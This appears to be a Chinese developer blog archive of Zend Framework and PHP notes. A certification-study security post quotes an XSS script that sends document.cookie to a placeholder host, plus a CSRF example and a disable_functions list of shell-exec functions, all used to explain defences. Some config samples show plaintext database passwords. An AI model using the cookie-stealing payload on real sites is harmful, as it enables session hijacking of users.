顯示具有 Zend 標籤的文章。 顯示所有文章
顯示具有 Zend 標籤的文章。 顯示所有文章

星期五, 3月 18, 2011

Zend validator

  • validator
    $validator = new Zend_Validate_NotEmpty();
    if($validator->isValid($username))
    ...
  • chain
    $validatorChain = new Zend_Validate();
    $validatorChain->addValidator(new Zend_Validate_NotEmpty())
    ->addValidator(new Zend_Validate_Alnum()));

  • 自訂訊息
    $alnum = new Zend_Validate_Alnum();
    $alnum->setMessage('非數字');

    Zend_Validate_EmailAddress的setMessage沒反應,v1.11前都還沒修好

Zend View Helper

利用View Helper,在網頁中呈現使用者登入的資訊
<html>
//header ...
$this->LoggedInUser->loggedInUser()();
//content ...
</html>

class Zend_View_Helper_LoggedInUser
{
    protected $_view;
    function setView($view){
        $this->_view = $view;
    }
    function loggedInUser(){
        $auth = Zend_Auth::getInstance();
        if($auth->hasIdentity()) #2{
            $logoutUrl = $this->_view->linkTo('auth/logout');
            $user = $auth->getIdentity(); #3
            $username = $this->_view->escape(ucfirst($user->name));
            $string = 'Logged in as ' . $username . ' | Log out';
        } else {
            $loginUrl = $this->_view->linkTo('auth/identify'); #4
            $string = 'Log in'; #5
        }
        return $string;
    }
}

Zend View Render

View Render
$view = new Zend_View();
$view->setScriptPath(dirname(__FILE__) . “/templates”); //template的位置
$view->name = $name; //參數
$view->email = $email;
$view->render(‘form.phtml’); //render


template(login.phtml)
<html>
<body>
Login e-mail:email; ?>
Login password:password; ?>
</body>
</html>

星期五, 1月 21, 2011

Zend沒有report error

最近多建了一個測試環境要讓同事測試
但不知少做了什麼,或多做了什麼
發現Zend居然都沒有回報錯誤
但純test.php是有回錯誤訊的改了php.ini裡的display_error也沒用
要google這問題 還真是不知怎麼下keyword
怎麼下都不是我要的答案

用了好久,才發現原來是在http.conf設定檔裡
少給了以下這行
SetEnv APPLICATION_ENV "development"

不知道為何這行會影響
先記下來

星期一, 1月 10, 2011

Zend_Mail

用法
$mail = new Zend_Mail();
$mail->setBodyHtml("Dear xxx: xxx"); //plain text
//$mail->setBodyHtml("<h1>hi</h1>");
$mail->setFrom('support@golfsonomy.com', 'Customer Services');
$mail->addTo($email);
$mail->setSubject('Golfsonomy-Customer Service');
$mail->send();



FAQ
  • email is treated as SPAM
    加入Reply就不會被歸為spam
    $mail->setReplyTo('contact@company.com', 'Company');

Reference
Zend_Mail sent email is treated as SPAM

星期二, 12月 28, 2010

Firefox 回報"伺服器要將此網址重新導向的要求無法完成"

最近發現這個錯誤

網路上有人提到將cookie清掉即可
我清了結果還是一樣

後來才發現 原來是程式邏輯上的問題
因為檢查未登入,則轉到另一個網址
不過那個網址也是由相同的程式檢查是否登入
所以又轉向同一個網址,造成deadlock

星期三, 12月 08, 2010

移除Zend網址中不專業的public路徑

由於zend建立的專案,會預設在www.test.com/public下
雖然因檔案歸類問題,需放在這個public資料夾
不過一直覺得很礙眼,但也沒想到辦法去改掉

這2天那該死的美工johnny又跑來說:「ㄟ~ 那個網址有public有點討厭ㄝ」
可惡~ 觸碰到我的痛處
今天盛怒之下 總算解決~~ 真開心

原本先查到Rob Allen的做法
要改路徑,還要在所有$this->baseUrl() 加上public/
改了一堆也還沒成功,就先看有沒有其他做法
很幸運地,看到比較簡單的方法 ~~ ya
只要做以下三件事就完成了
  1. Create /etc/httpd/conf.d/zfapp.conf
    Alias /zfapp /usr/share/zfapp/public
    <directory /usr/share/zfapp/public>
      AllowOverride All
      Order Deny,Allow
      Allow from all
    </directory>
  2. In /usr/share/zfapp create the structure
    -application
      bootstrap.php
      controllers
      views
      models
    -library
      Zend
    -public
      .htaccess //在public裡,新增.htacess
      index.php
  3. htaccess contains:
    RewriteEngine On
    RewriteBase /zfapp/
    RewriteRule !\.(js|ico|gif|jpg|png|css)$ index.php
注意事項
透過url讀取資料的方法,都會自動轉成正確的位置
也就是假設要讀取xx.jpg,位於真實路徑/zfapp/public/下
url為/zfapp/xx.jpg,即為自動轉成/zfapp/public/xx.jpg
但如果是php裡,要file相關函數讀檔的(ex.file_exists())的話
就得要加上public改成/zfapp/public/xx.jpg

Reference

星期三, 11月 17, 2010

Zend Captcha

  1. ASCII captcha (最簡單的用法)
    ex.

    $captcha = new Zend_Form_Element_Captcha( 'captcha', array(
      'label' => 'Please enter the 5 letters displayed below:',
      'name' => 'captcha', //回傳post欄位的名稱
      'required' => true,
      'captcha' => array('captcha' => 'Figlet', 'wordLen' => 5, 'timeout' => 300)
    ));
    echo captcha;

    判斷是否正確
    $captcha = $request->getPost('captcha');
    $captchaId = $captcha['id'];
    // And here's the user submitted word...
    $captchaInput = $captcha['input'];
    // We are accessing the session with the corresponding namespace
    // Try overwriting this, hah!
    $captchaSession = new Zend_Session_Namespace('Zend_Form_Captcha_'.$captchaId);
    // To access what's inside the session, we need the Iterator
    // So we get one...
    $captchaIterator = $captchaSession->getIterator();
    // And here's the correct word which is on the image...

    $captchaWord = $captchaIterator['word'] ;
    // Now just compare them...
    if ($captchaInput == $captchaWord)
    echo "valid";
    else
    echo "invalid";


  2. 圖文表示
    ex.

    注意事項
    • 要給ttf字型檔
    $this->view->captcha = new Zend_Form_Element_Captcha(
      'captcha', // This is the name of the input field
      array('label' => 'Write the chars to the field',
       'captcha' => array( // Here comes the magic...
       // First the type...
       'captcha' => 'Image',
       // Length of the word...
       'wordLen' => 4,
       // Captcha timeout, 5 mins
       'timeout' => 300,
       // What font to use...
       'font' => 'captcha/arial.ttf',
       // Where to put the image
       'imgDir' => 'captcha/tmp/',
       //<img src="?" > 的位置
       'imgUrl' => 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl() . '/captcha/tmp/'
       )
      )
    );
  3. 自定背景
    ex.

    注意事項
    由於預設會將底色用白,所以直接改圖沒用
    到/library/Zend/Captcha/Image.php改程式碼
    p.s. 因為機車johnny又在唸不喜歡彎彎的字及干擾的點及線,因此順便把扭曲的程式碼拿掉了

    不要點及線只要在建構子下...
    $captcha = new Zend_Form_Element_Captcha(
    'captcha', // This is the name of the input field
    array(
    ...
    'lineNoiseLevel' => 0,
    'dotNoiseLevel' => 0,
    ...
    )
    )
    );


    如果不要扭曲的字型,那就把_generateImage方法的內容改成以下程式碼
    protected function _generateImage($id, $word)
    {
      if (!extension_loaded("gd")) {
       require_once 'Zend/Captcha/Exception.php';
       throw new Zend_Captcha_Exception("Image CAPTCHA requires GD extension");
      }

      if (!function_exists("imagepng")) {
       require_once 'Zend/Captcha/Exception.php';
       throw new Zend_Captcha_Exception("Image CAPTCHA requires PNG support");
      }

      if (!function_exists("imageftbbox")) {
       require_once 'Zend/Captcha/Exception.php';
       throw new Zend_Captcha_Exception("Image CAPTCHA requires FT fonts support");
      }

      $font = $this->getFont();

      if (empty($font)) {
       require_once 'Zend/Captcha/Exception.php';
       throw new Zend_Captcha_Exception("Image CAPTCHA requires font");
      }

      $w = $this->getWidth();
      $h = $this->getHeight();
      $fsize = $this->getFontSize();

      $img_file = $this->getImgDir() . $id . $this->getSuffix();
      if(empty($this->_startImage)) {
       $img = imagecreatetruecolor($w, $h);
      } else {
       $img = imagecreatefrompng($this->_startImage);
       if(!$img) {
        require_once 'Zend/Captcha/Exception.php';
        throw new Zend_Captcha_Exception("Can not load start image");
       }
       $w = imagesx($img);
       $h = imagesy($img);
      }
      $text_color = imagecolorallocate($img, 255, 255, 255);
      //$bg_color = imagecolorallocate($img, 255, 255, 255);
      //imagefilledrectangle($img, 0, 0, $w-1, $h-1, $bg_color);
      $textbox = imageftbbox($fsize, 0, $font, $word);
      $x = ($w - ($textbox[2] - $textbox[0])) / 2;
      $y = ($h - ($textbox[7] - $textbox[1])) / 2;
      imagefttext($img, $fsize, 0, $x, $y, $text_color, $font, $word);
      imagepng($img, $img_file);
    }
  4. 自定captcha版面格式
    很機車的johnny不喜歡預設拆成兩行的樣子,硬要我併成一行
    只好硬著頭皮又去改原碼了
    有2個地方要改
    1.到fucntion render()
    public function render(Zend_View_Interface $view = null, $element = null)
    {
      return '<img alt="'.$this->getImgAlt().'" height="'.$this->getHeight().'" src="' . $this->getImgUrl() . $this->getId() . $this->getSuffix() . '" width="'.$this->getWidth().'" /><br>'; //將br拿掉
    }

    另外如果還要拿掉dt,dd等,則需要下個步驟

    2.到library/form/Element/Zend_Form_Element_Captcha.php 改function loadDefaultDecorators()

References
Zend Reference Guide - Captcha Operation
A Zend_Captcha example
Captcha problem
Zend_Form_Element_Captcha

星期三, 10月 27, 2010

Zend PHP 5 Certification Study Guide 筆記 (四) Security

  • Concepts and Practices
    注意以下事件
    • All Input Is Tainted
      謹慎想像每個Input都被污染(Tainted),所以都要檢查
    • Whitelist vs. Blacklist Filtering
    • Filter Input
    • Escape Output
    • Register Globals
  • Website Security
    • Spoofed Forms
    • Cross-Site Scripting (XSS) 在送出的input中,直接加入script,攻擊者即可透過$_GET['cookies']得到cookie的內容
      <script>
        document.location = ''http://example.org/getcookies.php?cookies=''
        + document.cookie;
      </script>
    • Cross-Site Request Forgeries (CSRF)
      說明:在使用者登入的情況下,假造一個link夾帶get的指令(通常用img裡夾),
      ex: <img src="http://example.org/checkout.php?isbn=031234&qty=1" >
      讓使用者點選進而執行get的指令(例如修改資料等),因為是在使用者登入的情況下,所以指令會執行成功
      解決方法:get問題,雖可用post解決,但當server端利用$_REQUEST,則會遇到相同問題
      雖post仍算是減少傷害,但仍不能完全避免,要完全避免可利用random token
      在產生form時,在session記錄個token,另一方面在form埋個hidden存token
      如此一來即可比對
      <?php
        session_start();
        $token = md5(uniqid(rand(), TRUE));
        $_SESSION['token'] = $token;
      ?>
      
      //產生form
      <form action="checkout.php" method="POST">
        <input type="hidden" name="token" value="<?php echo  $token;?>" /?>
        <!-- Remainder of form -->
      </form>
      
      //request
      if (isset($_SESSION['token'])
        && isset($_POST[』token』])
        && $_POST['token'] == $_SESSION['token'])
      {
        // Token is valid, continue processing form data
      }
  • Database Security
  • Filesystem Security
    • Remote Code Injection
      說明:當php裡利用以下方法include檔案時,攻擊者只要改變section值即可插入攻擊碼
      include "{$_GET['section']}/data.inc.php";
      解決方法:限制可選的路徑
      $clean = array();
      $sections = array('home', 'news',  'photos', 'blog');
      if (in_array($_GET['section'], $sections))
           $clean['section'] = $_GET['section'];
      else
           $clean['section'] = 'home';
      
      include "{clean['section']}/data.inc.php";
    • Command Injection
      說明:由於php可以動態載入檔案,又提供exec(), system() and passthru()等,可以執行系統執令的強大函式,所以一但被攻擊,這下問題就大條了
      解決方法:適當的filtering及escaping要做好囉
  • Shared Hosting
    針對以下幾個設定限制,可以事先避開Filesystem Security,command injection的問題
    • open_basedir
      <virtualhost *>
        DocumentRoot /home/user/www
        ServerName www.example.org
        <Drectory home/user/www>
          php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/" //限制資料夾
        </Directory>
      </virtualhost>
    • disable_functions (php.ini)
      ;Disable functions
      disable_functions = exec,passthru,shell_exec,system
    • and disable_classes (php.ini)
      ;Disable classes
      disable_classes = DirectoryIterator,Directory
    透過php.ini的設定
Reference PHP Security Guide

星期三, 10月 20, 2010

Zend_Session_Exception' with message 'session has already been started by session.auto-start or session_start()

在用了Zend_Auth後
某天莫名的出現這問題
Fatal error: Uncaught exception 'Zend_Session_Exception' with message 'session has already been started by session.auto-start or session_start()'...
也搞不懂發生了什麼事情
後來找到有人提出是因為php.ini的session.auto_start問題
//php.ini
session.auto_start = 1; //改為0即正常運作,當然記得要restart apache

在每個php有用到session的,就必須先執行 session_start()
在php.ini中的session.auto_start
如果為0,則須執行 session_start()
如果為1,則不須執行 session_start()
而Zend要有session的主控權,所以用Zend_Session(Zend_Auth會用到)時,要關掉auto start

不過還有人改了session.auto_start後 還是沒解決
查出是Directory權限的問題
自己是還沒遇過,不過先寫下來預防萬一
大致上的問題在application.ini裡設定resources.session.save_path
而該file需要該group有足夠的權限,而chmod 775 session即足夠

Reference
Zend_Session_Exception' with message 'session has already been started by session.auto-start or session_start()

星期五, 10月 08, 2010

Zend PHP 5 Certification Study Guide 筆記 (一)

  1. basic

    • ==及===的不同
      var_dump (1 == 1);//true
      var_dump (1 == "1");//true
      var_dump (1 === 1); //true
      var_dump (1 === "1"); //false, 值要相同,同型態 (比陣列,還要Order相同)

  2. function

    • Returning Values
      function可以call by reference
      但回傳值就必需有變數
      //example 1
      function &query($sql)
      {
        $result  = mysql_query($sql);
        return $result; //return variable
      }
      
      //example 2, incorrect and will cause PHP to emit a notice when called
      function &getHollo()
      {
        return "Hello World"; //非variable
      }
      
      //example 3 also cause the warning to be issued when called
       function &test()
      {
        echo 'This is a test';
      }
    • Passing Arguments
      function hello($who = "World")
      {
       echo "Hello $who"; 
      }
      hello(); //pass in no argument and $who is assigned "World" by default
  3. Arrays

    • Array Basic
      $x[] = 10;
      $x['aa'] = 11;
      echo $x[0]; //Outputs 10
      
      //continue, what if 
      $x[0]=12; // 
      echo $x[0]; //Outputs 12, 蓋掉了 

      另外新增元素會從Array中最大的數值增加
      $a = array(2 => 5);
      $a[] = 'a'; //This will have a key of 3
      
      $b = array( '4' => 5,'a' => 'b');
      $a[] = 44; //This will have a key of 5<$/code>
      
      key中,'A'跟'a'不同,但'1'跟1相同
    • Array Operations
      $a = array(1,2,3);
      $b=array("a" => 4,5,6);
      var_dump($a + $b);
      
      //result in
      array(4){
      [0] => int(1)
      [1] => int(2) 
      [2] => int(3)
      [a] => int(4) //沒有5,6
      }
      為什麼5,6不見了?
      因為$b = ('a'=> 4,1 => 5, 2 => 6);
      而$a + $b時,被前面的$a搶走了...

      var_dump及print_r的差別
      =>一樣,但前者會印
      型態
      Comparing Arrays
      $arrayA == $arrayB   //當陣列數一樣,值一樣
      $arrayA === $arrayB //當陣列數一樣,值一樣,Order也一樣
    •  Array Iteration
      Array pointer問題
      $a = array('zero','one','two');
      foreach($a as &$v){
      }
      foreach($a as $v){
      }
      print_r($a);
      
      //outputs
      Array
      {
        [0] = zero
        [1] = one
        [2] = one //two被改one了
      }
      2個foreach都沒做事,為何會變改
      因為第一個foreach的$v是call by reference
      在迴圈結束時,$v停在$a[2](two)

      在第二個foreach時
      第1次被指向array index 0, 被assign "zero"...
      第2次被指向array index 1, 被assign "one"...
      第3次被指向array index 2, 被assign "one"(原本的值"two",在上一輪改為"one"了)
      所以囉 這不是php的bug
    • Sorting Arrays
      >>>>>
      Name說明Key
      sort($array);排序value,可加第二參數
      SORT_REGULAR, SORT_NUMERIC, SORT_STRING
      destory
      asort($array);排序value,key被保留保留
      rsort($array);sort()是ascending order,rsort()即為decending orderdestory
      arsort($array);即為decending order
      natsort($array);sort(),排序10t,2t,3t(因此10t的1先出現),此時利用natsort即可解決destory
      natcasesort($array);考慮大小寫不同destory
      ksort($array);依key排序 low to high (krsort相反)保留
      usort($array,'myCmp');user defineddestory
      uasort($array,'myCmp');保留key保留
      uksort($array,'myCmp');依key排序保留

       
    • The Anti-Sort
      Name說明
      shuffle($card);將array往後移一位(最後一個變第一個)
      array_rand($card,[, int num_req]);隨機挑n個key

       
    • Set Functionality
      Name說明
      array_diff($a,$b)$a的差集($a有什麼$b沒有的)
      array_intersect($a,$b)$a,$b的交集






星期二, 9月 14, 2010

Zend - Internationalization

  • Zend_Locale
    多國語系需用
    1.Localization(i10n) 及
    2.Internationalization(i18n)達成
    i18n是Internationalization,l10n是Localization。
    一個是國際化,一個是本土化,差異應該聽的出來了,其他的就google吧
    因為國際化的單字太長了,所以把中間18個字以18作替代,而本土化中間的10個字以10作替代。
  • Zend_Translate
    Zend_Translate is Zend Framework's solution for multilingual applications.

    In multilingual applications, the content must be translated into several languages and display content depending on the user's language. PHP offers already several ways to handle such problems, however the PHP solution has some problems
  • Zend_Date
  • Zend_Currency
  • Zend_View_Helper_Trans

星期日, 9月 12, 2010

Zend - Infrastructure

  • Zend_Config
    • Use/Purpose

      designed to simplify access to, and use of , configuration data within applications.
    • Multiple Environs

      • PHP Array
        <?php

        //Given an array of configuration data
        $configArray = array(
        'webhost' => 'ww.example.com',
        'database' => array(...
        )
        );

        //Create the object-oriendted wrapper upon the configuration dataconsumption
        require_once 'Zend/Config.php';
        $config = new Zend_Config(configArray );
        //Print a configuration datum (results in 'ww.example.com')

        echo $config->webhost;
      • PHP Configuration File
        <?php
        //config.php
        return array(
        'webhost' => 'ww.example.com',
        'database' => array(...


        <?php
        //Configuration consumption
        require_once 'Zend/Config.php';
        $config = new Zend_Config(require 'config.php');

        //Print a configuration datum (results in 'ww.example.com')
        echo $config->webhost;

        Zend_Config實作了Countable及Iterator interfaces,因此可用count()及foreach
        Two Zend_Config objects can be merged into a single object using the merge() function
    • .ini Files

      • .ini可宣告[production],[testing],[development]等,配合環境變數讀取不同的config

        $config = new Zend_Config_Ini('/path/to/config.ini'),'staging');
        echo $config->database->params->hosts;
        [staging:production] //staging繼承production的變數
        不要把變數內容值用單引號包起來,會把單引號當成值
      • Zend_Config_Xml

        $config = new Zend_Config_Xml('/path/to/config.xml'),'staging');
        echo $config->database->params->hosts;

    • Bootstrap File
    • Config Objects
  • Zend_Exception
    Purpose: recover from the failure
    <?php
    try{
    Zend_Loader::loadClass('nonexistantclass');
    }catch (Zend_Exception $e){
    echo "Caught exception: " . get_class($e) . "\n";
    echo "Message: " . $e->getMessage() . "\n";
    //other code to recover from the failure;
    }

  • Zend_Registry
    Purpose: a container for storing objects and values in the application space.
    Constructing a Registry
    <?php
    $registry = new Zend_Registry(array('index' => $value));


    Initializing the Static Registry
    <?php
    Zend_Registry::setInstance(array('index' => $value));


    The setInstance() method throws Zend_Exception if the static registry has already been initialized
  • Zend_Version
    <?php
    //return -1(older), 0(the same) or 1(newer)
    $cmp = Zend_Version::compareVBersion('1.0.0');
  • Zend_Loader
    Purpose: includes methods to help you load files dynamically
    Zend_Loader::loadFile($filename,$path,$once) is a wrapper for the PHP function include() and throws Zend_Exception on failure.
    limit: $filename argument can only contain alphanumeric characters, hyphens("-"), or periods("."), and must not contain any path information.
    $once is boolean, if TRUE, equals include_once(), otherwise include() is used.

    Loading Classes
    limit:同loadFile,多了underscores("_")
    Zend_Loader::loadClass($class, $dirs)
    $class = "Container_Tree"; //equals Container/Tree.php
    <?php
    Zend_Loader::loadClass('Container_Tree',
     array(
      '/home/productioin/mylib',
      '/home/productioin/myapp'
     )
    );

    會在給予的路徑參數中找claess,如果找不到就丟了Zend_Exception
    Plugin Loader
    <?php
    $loader = new Zend_Loader_PluginLoader();
    $loader->addPrefixPath('Zend_View_Helper', 'Zend/View/elper/')
        ->addPrefixPath('Foo_View_Helper','application/modules/foo/views/helpers');
  • Zend_Session
    Purpose: helps manage and preserve session data, a logical complement of cookie data, across multiple page requests by the same client.

    Zend_Session_Namespace

    就是PHP中的$_SESSION
    $sess = new Zend_Session_Namespace();
    $sees->tree = $tree;

    Operation

    當第一個session被requested時,Zend_Session就自動啟動PHP session,不必等到Zend_Session::start().
    The PHP session will use defaults from Zend_Session, unless modified by Zend_Session::setOptions().

星期二, 7月 06, 2010

Zend - controller間的互動 actionstack

想在

寫法(from 官網)
class FooController extends Zend_Controller_Action
{
    public function barAction()
    {
        // Add two actions to the stack
        // Add call to /foo/baz/bar/baz
        // (FooController::bazAction() with request var bar == baz)
        $this->_helper->actionStack('baz',
            'foo',
            'default',
            array('bar' => 'baz'));

        // Add call to /bar/bat
        // (BarController::batAction())
        $this->_helper->actionStack('bat', 'bar');

        //加parameters及改變controller, action
        $request->setParamSources(array('_POST')) //後記 好像不是這麼用...
            ->setParams(array(
            'log_userid' => $userid
            ,'log_controller'=>$request->getControllerName()
            ,'log_action'=>$request->getActionName()))
            ->setActionName('add')
            ->setControllerName('Logger');
        }
}


參數問題
//利用setParams
$request->setParams(array('param1' => '1')); //param1=1

//也要利用getParams取出
$data = $request->getParams(); //param1=1
echo $data['param1']


redirect問題
不過如果最後是用到redirect的話,actionStack就掛了
最後只好不轉頁,直接把想轉頁的地方加入actionStact

References:
actionstack

星期五, 6月 18, 2010

利用Zend_Navigation達到Menu、breadcrumbs及sitemap

主要做法就是在xml裡配置階層結構
步驟就照著reference的範例做
不過有遇到些問題,所以有問題的地方有特別註釋

1.設定Bootstrap.php
protected function _initNavigation()
{
$this->bootstrap('layout');
$layout = $this->getResource('layout');
//$view = $layout->getView(); //加了這行...會導致在layout.phtml呼叫helper會掛...所以..註解掉...
$config = new Zend_Config_Xml(APPLICATION_PATH . '/configs/navigation.xml', 'nav'); //指定要讀取的架構檔,命名為navigation.xml

$container = new Zend_Navigation($config);
Zend_Registry::set("Zend_Navigation", $container); //範例裡沒加,但沒加又跑不動...怪...
//$view->navigation($container); //嗯...也是能動咧...
}

2.編寫階層結構xml
path: application/configs/navigation.xml (xml檔名取命跟Bootstrap裡load的地方一樣)
<?xml version="1.0" encoding="UTF-8"?>
<configdata>
<nav>
<home>
<label>Home</label>
<uri>/</uri>
</home>
<courses>
<label>球場管理</label>
<uri>/courses/</uri>
<pages>
<add>
<label>新增球場</label>
<uri>/courses/add/</uri>
</add>
<edit>
<label>編輯球場</label>
<uri>/courses/edit/</uri>
</edit>
</pages>
</courses>
<about>
<label>關於我們</label>
<uri>/index/about/</uri>
</about>
</nav>
</configdata>

3.設定layout.phtml
<body>
...
<?php echo $this->navigation()->Menu()?>
<?php echo $this->navigation()->breadcrumbs()->setLinkLast(false)->setMinDepth(0)->render(); ?>
...

4.設定Controller
在每個controller的init裡加上以下程式碼
public function init()
{
//navigation
$uri = $this->_request->getPathInfo(); //原作是寫這樣啦,不過遇到有參數的uri就噴了
$uri = $this->_request->getControllerName()."/". $this->_request->getActionName(); //我把比對的uri改成這樣,也不怕最後有沒有斜線結尾

$activeNav = $this->view->navigation()->findByUri(strtolower($uri)); //避免大小寫問題,全轉為小寫
$activeNav->active = true;
//$activeNav->setClass("active"); //uri沒配對到時 會出現error,所以...
}


錯誤訊息
$activeNav->setClass("active");
出現Fatal error: Call to undefined method stdClass::setClass() ...
是因為uri對應失敗,所以無法設定class為active

xml裡放網站根目錄是比較正確的做法
不應該把會變動的前置資料夾放在裡面 ex. project/public
只不過這樣會導致zend_navigation產生的鏈結會從根開始跑 就會找不到位置

比較好的做法應該是該鏈結加上$this->_request->getBaseUrl()."/"
只是不知從哪去改... echo前去改...應該有更好的方法...找到再po上來

另外一個問題是如果... 鏈結需有必要的參數...
就還得要再將參數組成uri...

Reference
Zend_Navigation – creating a menu, a sitemap and breadcrumbs 用錄影的 不錯...

星期六, 6月 05, 2010

安裝PHPUnit

phpunit官網:http://www.phpunit.de/

有兩個主要的版本,依php版本決定
  • PHPUnit 3.7 requires PHP 5.3.3
  • PHPUnit 3.8 requires PHP 5.4.7


兩種方法
  1. 直接使用phpunit
    https://github.com/sebastianbergmann/phpunit/

    <php
    include "phth to PHPUnit";
    class StackTest extends PHPUnit_Framework_TestCase
    {
        public function testPushAndPop()
        {
            $stack = array();
            $this->assertEquals(0, count($stack));
     
            array_push($stack, 'foo');
            $this->assertEquals('foo', $stack[count($stack)-1]);
            $this->assertEquals(1, count($stack));
     
            $this->assertEquals('foo', array_pop($stack));
            $this->assertEquals(0, count($stack));
        }
    }
    ?>
  2. 安裝phpunit
    wget https://phar.phpunit.de/phpunit.phar
    chmod +x phpunit.phar
    mv phpunit.phar /usr/local/bin/phpunit
    vi composer.json
    {
    "require-dev": {
    "phpunit/phpunit": "3.7.*"
    }
    }
    composer install
    程式裡加上
    require 'vendor/autoload.php';

其他PHPUnit官網寫很清楚,而且很多觀念教學,真棒

Zend View 常用動作

  1. jquery觸發submit
    $('form:first').trigger("submit");
  2. url路徑
    //根目錄 - 從web root到public
    $this->baseUrl('course/add'); //參數加入即會自動補
    =>/myweb/public/course/add
  3. 目前url
    $this->url(array('controller'=>'course','action'=>'add')); //如果當前的url是在同一個controller下的話,可以不用給controller參數
    =>/myweb/public/course/add/
  4. Controller, Action Name及參數
    $request = Zend_Controller_Front::getInstance()->getRequest();
    $controllerName = $request->getControllerName();
    $actionName = $request->getActionName();
    $paramArray = $request->getParams();
    $params = '';

    foreach($paramArray as $key => $value)
      $params .= $key . "/" . $value;
  5. 添加CSS 和 JS
    //將js,css放在public裡的js,css資料夾
    <script type="text/javascript" src="<?php echo $this->baseUrl('js/jquery-xxx.min.js');? >" >
    </script?>
    <link rel="stylesheet" type="text/css" href="<?php echo $this->baseUrl('css/xxx.css'); ? >" >
References
Zend - Get everything after base Url (Controller, Action, and any params)

zend DB 常用動作

直接對Zend_Db操作
  • 新增DB連線
    $db = Zend_Db::factory('Pdo_Mysql', array(
    'host'     => '127.0.0.1',
    'username' => 'webuser',
    'password' => 'xxxxxxxx',
    'dbname'   => 'course'
    ));
  • 下sql語法
    $stmt = $db->query('SELECT * FROM course');
    
    //Zend_Db提供fecth(),可抓出row object
    while($row = $stat->fetch()){
        echo $row['name'];
    }
  • 替換sql語法裡的參數
    $sql = 'SELECT * FROM course WHERE nam = ? AND status = ?';
    $stmt = new Zend_Db_Statement_Mysqli($db, $sql); //mysql就用mysqli
    $stmt->execute(array('demo course','display'));

宣告多個DB
  • 宣告(configs/application.ini)
    //db1
    resources.multidb.course.adapter = "PDO_MYSQL"
    resources.multidb.course.host = "localhost"
    resources.multidb.course.username = "root"
    resources.multidb.course.password = "ok1234"
    resources.multidb.course.dbname = "course"
    resources.multidb.course.driver_options.1002 = "SET NAMES utf8"
    resources.multidb.teegle.default = true
    
    //db2
    resources.multidb.admin.adapter = "PDO_MYSQL"
    resources.multidb.admin.host = "localhost"
    resources.multidb.admin.username = "root"
    resources.multidb.admin.password = "ok1234"
    resources.multidb.admin.dbname = "admin"
    resources.multidb.admin.driver_options.1002 = "SET NAMES utf8"
  • 選擇db
    $resource = $this->PluginResource('multidb');
    $resource->init();
    $db = $resource->getDb('course'); //取得course db
    $db->select()
        ->from( ... ) //多個from
        ->where( ... );

對Zend_Db_Table下指令
  • 設定table
    Zend_Db_Table::setDefaultAdapter($db);
    $courseTable = new Zend_Db_Table('course');
  • 在fetchAll裡加參數
    $resultSet  = $table->fetchAll(
            $table->select()
               ->where('status = ?', 'NEW') //有多個where就再下一次where(xx)
               ->order('id ASC')
               ->limit(10, 0)
    );
    
    //塞進array
    $entries   = array();
    foreach ($resultSet as $row) {   
        $object = row->id; // or row['id'];
        $entries[] = $object;
    }
  • 讓DbTable物件 讀非預設DB
    DbTable會預設讀config裡設定的"db"
    如果要讀一個db怎麼辦咧?
    1.註冊db
    在Bootstrap.php裡,註冊想要讀的db
    //application/Bootstrap.php
    class Bootstrap extends Zend_Application_Bootstrap_Bootstrap
    {
        $resource = $this->getPluginResource('multidb'); //假設存放在multidb裡,參考如何設定多個db
        $resource->init(); //初始化,不然不會動
    
        //註冊要讀取的DB - admin
        $admin = $resource->getDb('admin');
        Zend_Registry::set("admin", $admin);
    }
  • 2.改寫DbTable的建構子 方法一 就在DbTable的class下,override construct 把要給DbTable的物件參數中的'db'改成目前要讀的db
    class Application_Model_DbTable_User extends Zend_Db_Table_Abstract { 
        protected $_name = 'user'; 
        //方法一     
        public function __construct($config=array()){
            $this->read  = Zend_Registry::get('admin');
            $this->write = Zend_Registry::get('admin');
            $config['db'] = Zend_Registry::get('admin');                       
            return parent::__construct($config);
        }  
    
        //方法二  
        protected function __setupDatabaseAdapter(){ 
        } 
    }
    join
    //Build this query: 
    //  Select p."product_id",p."product_name", l.* 
    //  From "products" AS p JOIN "line_items" AS l 
    // ON p.product_id = l.product_id  
    $select = $db->select()->from (array('p'=> 'products'), 
    array('product_id','product_name'))->join(array('l' => 'line_items'), 'p.produt_id = l.product_id');
References
Zend Framework Certification Study Guide

星期二, 6月 01, 2010

星期二, 4月 27, 2010

Zend Controller- 常用動作

  1. Debug
    Zend_Debug::dump($row, $label = "current row", $echo = true);
  2. 不render view or layout
    • no render
      $this->_helper->viewRenderer->setNoRender();
    • disable layout
      $this->_helper->layout->disableLayout();
  3. BaseUrl, Controller or Action Name
    透過request取得
    $this->_request->getControllerName()
    ->getActionName()
    ->getParams() //取post或get之類的參數
    ->getBaseUrl()

  4. 轉頁動作
    • redirector,forward
      //給同一controller的 action (ex.index)
      $this->_redirect('Controller/actionA'); //要給完整的Controller及Action
      //=$this->_helper->redirector('actionA');  //如果直給action,會轉給此controller下的action
    • 轉給controllerA的actionA
      $this->_helper->redirector('controllerA/actionA');
      this->_forward('actionA', 'controllerA', null, array('param1' => 'xxx'));

    • $this->_redirect與$this->_helper->redirector的不同? Ans:_redirect需包("controller/action"), redirector可只下("action") ex.在TeeController下 $this->_redirect('index'); //會跑到Index/index,而不會是Tee/index $this->_redirect('Tee') // $this->_helper->redirector('index'); $this->_redirect('Tee/add'); // $this->_helper->redirector('add');
    • 保留訊息給redirect後的頁面
      //set
      $flashMessenger = $this->_helper->getHelper('FlashMessenger');
      $flashMessenger->addMessage($message);

      //get
      $message = $flashMessenger->getMessages(); //array
      if(count($message) == 0 )  
         $this->view->message = "";
      else
         $this->view->message = $message[0];
      }
    • 也可指定Namespace,透過setNamespace即可,範例如下 $flashMessenger->setNamespace('actionErrors');
    • redirect 給參數
      //add parameters
      $controller = 'index';$action = 'message'; $module = null;
      $parameters = array(    'para1' => 'test1',    'para2' => 'test2' );
      $this->_helper->redirector(action , controller , $module, parameters );

      //get parameters
      public function toNextPageAction(){
         $para1 = $this->getRequest()->getParam('para1');
         $para2 = $this->getRequest()->getParam('para2');
      }
    //宣告Registry變數 Zend_Registry::get("course", $course);
  5. 在controller裡,加入Header資訊
    • 加入Meta
      $this->headMeta()->appendName('keywords', 'framework, PHP, productivity');
    • js,css路徑(如果要直接在view裡加入看這)
      $this->view->headLink()->appendStylesheet(‘css/homepage.css');
      $this->view->headLink()->appendStylesheet($baseUrl.'/css/admin/tinybrowser.css');
      $this->view->headScript()->appendFile('/' . $file_uri);
    • 最後要echo資訊到header
      <html>
      <head>
